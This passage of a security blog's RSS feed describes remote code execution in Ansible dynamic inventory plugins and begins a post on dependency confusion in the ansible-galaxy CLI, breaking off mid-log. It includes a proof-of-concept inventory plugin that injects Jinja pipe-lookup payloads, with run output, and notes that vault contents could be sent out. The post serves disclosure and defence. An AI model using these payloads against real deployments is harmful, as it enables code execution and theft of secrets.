&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Display all variables/facts known for a host&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;ansible.builtin.debug&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;var&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;hostvars[inventory_hostname]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This playbook looks totally innocent: run against all hosts and dump their hostvars using &lt;code&gt;debug&lt;/code&gt;.
No mention of our funny variable.
Yet, when we execute it, we see:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;% &lt;/span&gt;&lt;span class="nv"&gt;ANSIBLE_INVENTORY_ENABLED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;evgeni.inventoryrce.inventory&lt;span class="w"&gt; &lt;/span&gt;ansible-playbook&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;inventory.evgeni.yml&lt;span class="w"&gt; &lt;/span&gt;test.yml
&lt;span class="go"&gt;PLAY [all] ************************************************************************************************&lt;/span&gt;

&lt;span class="go"&gt;TASK [Gathering Facts] ************************************************************************************&lt;/span&gt;
&lt;span class="go"&gt;ok: [exploit.example.com]&lt;/span&gt;

&lt;span class="go"&gt;TASK [Display all variables/facts known for a host] *******************************************************&lt;/span&gt;
&lt;span class="go"&gt;ok: [exploit.example.com] =&amp;gt; {&lt;/span&gt;
&lt;span class="go"&gt;    "hostvars[inventory_hostname]": {&lt;/span&gt;
&lt;span class="go"&gt;        "ansible_all_ipv4_addresses": [&lt;/span&gt;
&lt;span class="go"&gt;            "192.168.122.1"&lt;/span&gt;
&lt;span class="go"&gt;        ],&lt;/span&gt;
&lt;span class="go"&gt;        …&lt;/span&gt;
&lt;span class="go"&gt;        "something_funny": ""&lt;/span&gt;
&lt;span class="go"&gt;    }&lt;/span&gt;
&lt;span class="go"&gt;}&lt;/span&gt;

&lt;span class="go"&gt;PLAY RECAP *************************************************************************************************&lt;/span&gt;
&lt;span class="go"&gt;exploit.example.com  : ok=2    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   &lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We got &lt;em&gt;all&lt;/em&gt; variables dumped, that was expected, but now &lt;code&gt;something_funny&lt;/code&gt; is an empty string?
Jinja got executed, and the expression was &lt;code&gt;{{ lookup("pipe", "touch /tmp/hacked" ) }}&lt;/code&gt; and &lt;code&gt;touch&lt;/code&gt; does not return anything.
But it did create the file!&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;% &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-alh&lt;span class="w"&gt; &lt;/span&gt;/tmp/hacked&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="go"&gt;-rw-r--r--. 1 evgeni evgeni 0 Mar 10 17:18 /tmp/hacked&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We just "hacked" the Ansible &lt;a href="https://docs.ansible.com/ansible/latest/network/getting_started/basic_concepts.html#control-node"&gt;control node&lt;/a&gt; (aka: your laptop),
as that's where &lt;code&gt;lookup&lt;/code&gt; is executed.
It could also have used the &lt;a href="https://docs.ansible.com/ansible/latest/collections/ansible/builtin/url_lookup.html"&gt;&lt;code&gt;url&lt;/code&gt; lookup&lt;/a&gt; to send the contents of your Ansible vault to some internet host.
Or connect to some VPN-secured system that should not be reachable from EC2/Hetzner/….&lt;/p&gt;
&lt;h3&gt;Why is this possible?&lt;/h3&gt;
&lt;p&gt;This happens because &lt;a href="https://github.com/ansible/ansible/blob/56f31126ad1c69e5eda7b92c1fa15861f722af0e/lib/ansible/inventory/data.py#L245"&gt;&lt;code&gt;set_variable(entity, varname, value)&lt;/code&gt;&lt;/a&gt; doesn't mark the values as unsafe and Ansible processes everything with Jinja in it.&lt;/p&gt;
&lt;p&gt;In this very specific example, a possible fix would be to explicitly wrap the string in &lt;a href="https://github.com/ansible/ansible/blob/stable-2.16/lib/ansible/utils/unsafe_proxy.py#L346-L363"&gt;&lt;code&gt;AnsibleUnsafeText&lt;/code&gt; by using &lt;code&gt;wrap_var&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;ansible.utils.unsafe_proxy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;wrap_var&lt;/span&gt;
&lt;span class="err"&gt;…&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inventory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_variable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'exploit.example.com'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'something_funny'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wrap_var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'{{ lookup("pipe", "touch /tmp/hacked" ) }}'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Which then gets rendered as a string when dumping the variables using &lt;code&gt;debug&lt;/code&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="go"&gt;"something_funny": "{{ lookup(\"pipe\", \"touch /tmp/hacked\" ) }}"&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But it seems inventories don't do this:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;host_vars&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inventory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_variable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;(&lt;a href="https://github.com/ansible-collections/amazon.aws/blob/89ec6ba2ee7fae84eb1aae098da040eba4974c7d/plugins/inventory/aws_ec2.py#L762-L763"&gt;aws_ec2.py&lt;/a&gt;)&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;hostvars&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inventory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_variable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;(&lt;a href="https://github.com/ansible-collections/hetzner.hcloud/blob/46717e2d6574b1e36db7bc73b54712f9270a2169/plugins/inventory/hcloud.py#L503-L504"&gt;hcloud.py&lt;/a&gt;)&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;hostvars&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inventory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_variable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;ValueError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Could not set host info hostvar for &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;, skipping &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;to_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;(&lt;a href="https://github.com/theforeman/foreman-ansible-modules/blob/8ad32f166c3d1f8f4077dc3029b312c5b9dc534b/plugins/inventory/foreman.py#L516-L520"&gt;foreman.py&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;And honestly, I can totally understand that.
When developing an inventory, you do not expect to handle insecure input data.
You also expect the API to handle the data in a secure way by default.
But &lt;code&gt;set_variable&lt;/code&gt; doesn't allow you to tag data as "safe" or "unsafe" easily and data in Ansible defaults to "safe".&lt;/p&gt;
&lt;h3&gt;Can something similar happen in other parts of Ansible?&lt;/h3&gt;
&lt;p&gt;It certainly happened in the past that Jinja was abused in Ansible: &lt;a href="https://bugzilla.redhat.com/CVE-2016-9587"&gt;CVE-2016-9587&lt;/a&gt;, &lt;a href="https://bugzilla.redhat.com/CVE-2017-7466"&gt;CVE-2017-7466&lt;/a&gt;, &lt;a href="https://bugzilla.redhat.com/CVE-2017-7481"&gt;CVE-2017-7481&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But even if we only look at inventories, &lt;a href="https://github.com/ansible/ansible/blob/56f31126ad1c69e5eda7b92c1fa15861f722af0e/lib/ansible/inventory/data.py#L191"&gt;&lt;code&gt;add_host(host)&lt;/code&gt;&lt;/a&gt; can be abused in a similar way:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;ansible.plugins.inventory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BaseInventoryPlugin&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;InventoryModule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseInventoryPlugin&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="n"&gt;NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'evgeni.inventoryrce.inventory'&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;verify_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;InventoryModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verify_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;endswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'evgeni.yml'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;valid&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;inventory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;InventoryModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inventory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inventory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_host&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'lol{{ lookup("pipe", "touch /tmp/hacked-host" ) }}'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;% &lt;/span&gt;&lt;span class="nv"&gt;ANSIBLE_INVENTORY_ENABLED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;evgeni.inventoryrce.inventory&lt;span class="w"&gt; &lt;/span&gt;ansible-playbook&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;inventory.evgeni.yml&lt;span class="w"&gt; &lt;/span&gt;test.yml
&lt;span class="go"&gt;PLAY [all] ************************************************************************************************&lt;/span&gt;

&lt;span class="go"&gt;TASK [Gathering Facts] ************************************************************************************&lt;/span&gt;
&lt;span class="go"&gt;fatal: [lol{{ lookup("pipe", "touch /tmp/hacked-host" ) }}]: UNREACHABLE! =&amp;gt; {"changed": false, "msg": "Failed to connect to the host via ssh: ssh: Could not resolve hostname lol: No address associated with hostname", "unreachable": true}&lt;/span&gt;

&lt;span class="go"&gt;PLAY RECAP ************************************************************************************************&lt;/span&gt;
&lt;span class="go"&gt;lol{{ lookup("pipe", "touch /tmp/hacked-host" ) }} : ok=0    changed=0    unreachable=1    failed=0    skipped=0    rescued=0    ignored=0&lt;/span&gt;

&lt;span class="gp"&gt;% &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-alh&lt;span class="w"&gt; &lt;/span&gt;/tmp/hacked-host
&lt;span class="go"&gt;-rw-r--r--. 1 evgeni evgeni 0 Mar 13 08:44 /tmp/hacked-host&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Affected versions&lt;/h3&gt;
&lt;p&gt;I've tried this on Ansible (core) 2.13.13 and 2.16.4.
I'd totally expect older versions to be affected too, but I have not verified that.&lt;/p&gt;</description><category>ansible</category><category>debian</category><category>english</category><category>linux</category><category>planet-debian</category><category>security</category><category>software</category><guid>https://www.die-welt.net/2024/03/remote-code-execution-in-ansible-dynamic-inventory-plugins/</guid><pubDate>Mon, 11 Mar 2024 20:00:00 GMT</pubDate></item><item><title>Dependency confusion in the Ansible Galaxy CLI</title><link>https://www.die-welt.net/2021/12/dependency-confusion-in-the-ansible-galaxy-cli/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;I hope you enjoyed my &lt;a href="https://www.die-welt.net/2021/11/getting-access-to-somebody-elses-ansible-galaxy-namespace/"&gt;last post about Ansible Galaxy Namespaces&lt;/a&gt;. In there I noted that I originally looked for something completely different and the namespace takeover was rather accidental.&lt;/p&gt;
&lt;p&gt;Well, originally I was looking at how the different Ansible content hosting services and their client (&lt;code&gt;ansible-galaxy&lt;/code&gt;) behave in regard to clashes in naming of the hosted content.&lt;/p&gt;
&lt;p&gt;"Ansible content hosting services"?! There are &lt;em&gt;currently&lt;/em&gt; three main ways for users to obtain Ansible content:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://galaxy.ansible.com"&gt;Ansible Galaxy&lt;/a&gt; - the original, community oriented, free hosting platform&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ansible.com/products/automation-hub"&gt;Automation Hub&lt;/a&gt; - the place for Red Hat certified and supported content, available only with a Red Hat subscription, hosted by Red Hat&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ansible.com/products/automation-platform"&gt;Ansible Automation Platform&lt;/a&gt; - the on-premise version of Automation Hub, syncs content from there and allows customers to upload own content&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now the question I was curious about was: how would the tooling behave if different sources would offer identically named content?&lt;/p&gt;
&lt;p&gt;This was inspired by &lt;a href="https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610"&gt;Alex Birsan: Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies&lt;/a&gt; and &lt;a href="https://www.zofrex.com/blog/2021/04/29/bundler-still-vulnerable-dependency-confusion-cve-2020-36327/"&gt;zofrex: Bundler is Still Vulnerable to Dependency Confusion Attacks (CVE⁠-⁠2020⁠-⁠36327)&lt;/a&gt;, who showed that the tooling for Python, Node.js and Ruby can be tricked into fetching content from "the wrong source", thus allowing an attacker to inject malicious code into a deployment.&lt;/p&gt;
&lt;p&gt;For the rest of this article, it's not important that there are different &lt;em&gt;implementations&lt;/em&gt; of the hosting services, only that users can &lt;a href="https://docs.ansible.com/ansible/latest/user_guide/collections_using.html#galaxy-server-config"&gt;configure and use multiple sources at the same time&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The problem is that, if the user configures their &lt;code&gt;server_list&lt;/code&gt; to contain multiple Galaxy-compatible servers, like Ansible Galaxy &lt;em&gt;and&lt;/em&gt; Automation Hub, and then asks to install a collection, the Ansible Galaxy CLI will ask &lt;em&gt;every&lt;/em&gt; server in the list, until one returns a successful result. The exact order seems to differ between versions, but this doesn't really matter for the issue at hand.&lt;/p&gt;
&lt;p&gt;Imagine someone wants to install the &lt;code&gt;redhat.satellite&lt;/code&gt; collection from Automation Hub (using &lt;code&gt;ansible-galaxy collection install redhat.satellite&lt;/code&gt;). Now if their configuration defines Galaxy as the first, and Automation Hub as the second server, Galaxy is &lt;em&gt;always&lt;/em&gt; asked whether it has &lt;code&gt;redhat.satellite&lt;/code&gt; and only if the answer is negative, Automation Hub is asked. Today there is no &lt;code&gt;redhat&lt;/code&gt; namespace on Galaxy, but there is a &lt;code&gt;redhat&lt;/code&gt; user on GitHub, so…&lt;/p&gt;
&lt;p&gt;The canonical answer to this issue is to &lt;a href="https://docs.ansible.com/ansible/latest/user_guide/collections_using.html#install-multiple-collections-with-a-requirements-file"&gt;use a &lt;code&gt;requirements.yml&lt;/code&gt; file and setting the &lt;code&gt;source&lt;/code&gt; parameter&lt;/a&gt;. This parameter allows you to express "regardless which sources are configured, please fetch this collection from here". That's is nice, but I think this not being the default syntax (contrary to what e.g. &lt;a href="https://bundler.io/gemfile.html"&gt;Bundler does&lt;/a&gt;) is a bad approach. Users might overlook the security implications, as the shorter syntax without the &lt;code&gt;source&lt;/code&gt; just "magically" works.&lt;/p&gt;
&lt;p&gt;However, I think this is not even the main problem here. The documentation says: &lt;a href="https://docs.ansible.com/ansible/latest/user_guide/collections_using.html#configuring-the-ansible-galaxy-client"&gt;Once a collection is found, any of its requirements are only searched within the same Galaxy instance as the parent collection. The install process will not search for a collection requirement in a different Galaxy instance&lt;/a&gt;. But as it turns out, the &lt;code&gt;source&lt;/code&gt; behavior &lt;a href="https://github.com/ansible/ansible/pull/72576"&gt;was&lt;/a&gt; &lt;a href="https://github.com/ansible/ansible/pull/72685"&gt;changed&lt;/a&gt; and now only applies to the exact collection it is set for, not for any dependencies this collection might have.&lt;/p&gt;
&lt;p&gt;For the sake of the example, imagine two collections: &lt;code&gt;evgeni.test1&lt;/code&gt; and &lt;code&gt;evgeni.test2&lt;/code&gt;, where &lt;code&gt;test2&lt;/code&gt; declares a dependency on &lt;code&gt;test1&lt;/code&gt; in its &lt;code&gt;galaxy.yml&lt;/code&gt;. Actually, no need to imagine, both collections are available in version 1.0.0 from &lt;code&gt;galaxy.ansible.com&lt;/code&gt; and &lt;code&gt;test1&lt;/code&gt; version 2.0.0 is available from &lt;code&gt;galaxy-dev.ansible.com&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, given our recent reading of the docs, we craft the following &lt;code&gt;requirements.yml&lt;/code&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="nt"&gt;collections&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;evgeni.test2&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;'*'&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;source&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;https://galaxy.ansible.com&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In a perfect world, following the documentation, this would mean that both collections are fetched from &lt;code&gt;galaxy.ansible.com&lt;/code&gt;, right? However, this is not what &lt;code&gt;ansible-galaxy&lt;/code&gt; does. It will fetch &lt;code&gt;evgeni.test2&lt;/code&gt; from the specified source, determine it has a dependency on &lt;code&gt;evgeni.test1&lt;/code&gt; and fetch that from the "first" available source from the configuration.&lt;/p&gt;
&lt;p&gt;Take for example the following &lt;code&gt;ansible.cfg&lt;/code&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="k"&gt;[galaxy]&lt;/span&gt;
&lt;span class="na"&gt;server_list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;test_galaxy, release_galaxy, test_galaxy&lt;/span&gt;

&lt;span class="k"&gt;[galaxy_server.release_galaxy]&lt;/span&gt;
&lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;https://galaxy.ansible.com/&lt;/span&gt;

&lt;span class="k"&gt;[galaxy_server.test_galaxy]&lt;/span&gt;
&lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;https://galaxy-dev.ansible.com/&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And try to install collections, using the above &lt;code&gt;requirements.yml&lt;/code&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;% &lt;/span&gt;ansible-galaxy&lt;span class="w"&gt; &lt;/span&gt;collection&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;requirements.yml&lt;span class="w"&gt; &lt;/span&gt;-vvv&lt;span class="w"&gt;                 &lt;/span&gt;
&lt;span class="go"&gt;ansible-galaxy 2.9.27&lt;/span&gt;
&lt;span class="go"&gt;  config file = /home/evgeni/Devel/ansible-wtf/collections/ansible.cfg&lt;/span&gt;
&lt;span class="go"&gt;  configured module search path = ['/home/evgeni/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']&lt;/span&gt;
&lt;span class="go"&gt;  ansible python module location = /usr/lib/python3.10/site-packages/ansible&lt;/span&gt;
&lt;span class="go"&gt;  executable location = /usr/bin/ansible-galaxy&lt;/span&gt;
&lt;span class="go"&gt;  python version = 3.10.0 (default, Oct  4 2021, 00:00:00) [GCC 11.2.1 20210728 (Red Hat 11.2.1-1)]&lt;/span&gt;
&lt;span class="go"&gt;Using /home/evgeni/Devel/ansible-wtf/collections/ansible.cfg as config file&lt;/span&gt;
&lt;span class="go"&gt;Reading requirement file at '/home/evgeni/Devel/ansible-wtf/collections/requirements.yml'&lt;/span&gt;
&lt;span class="go"&gt;Found installed collection theforeman.foreman:3.0.0 at '/home/evgeni/.ansible/collections/ansible_collections/theforeman/foreman'&lt;/span&gt;
&lt;span class="go"&gt;Process install dependency map&lt;/span&gt;
&lt;span class="hll"&gt;&lt;span class="go"&gt;Processing requirement collection 'evgeni.test2'&lt;/span&gt;
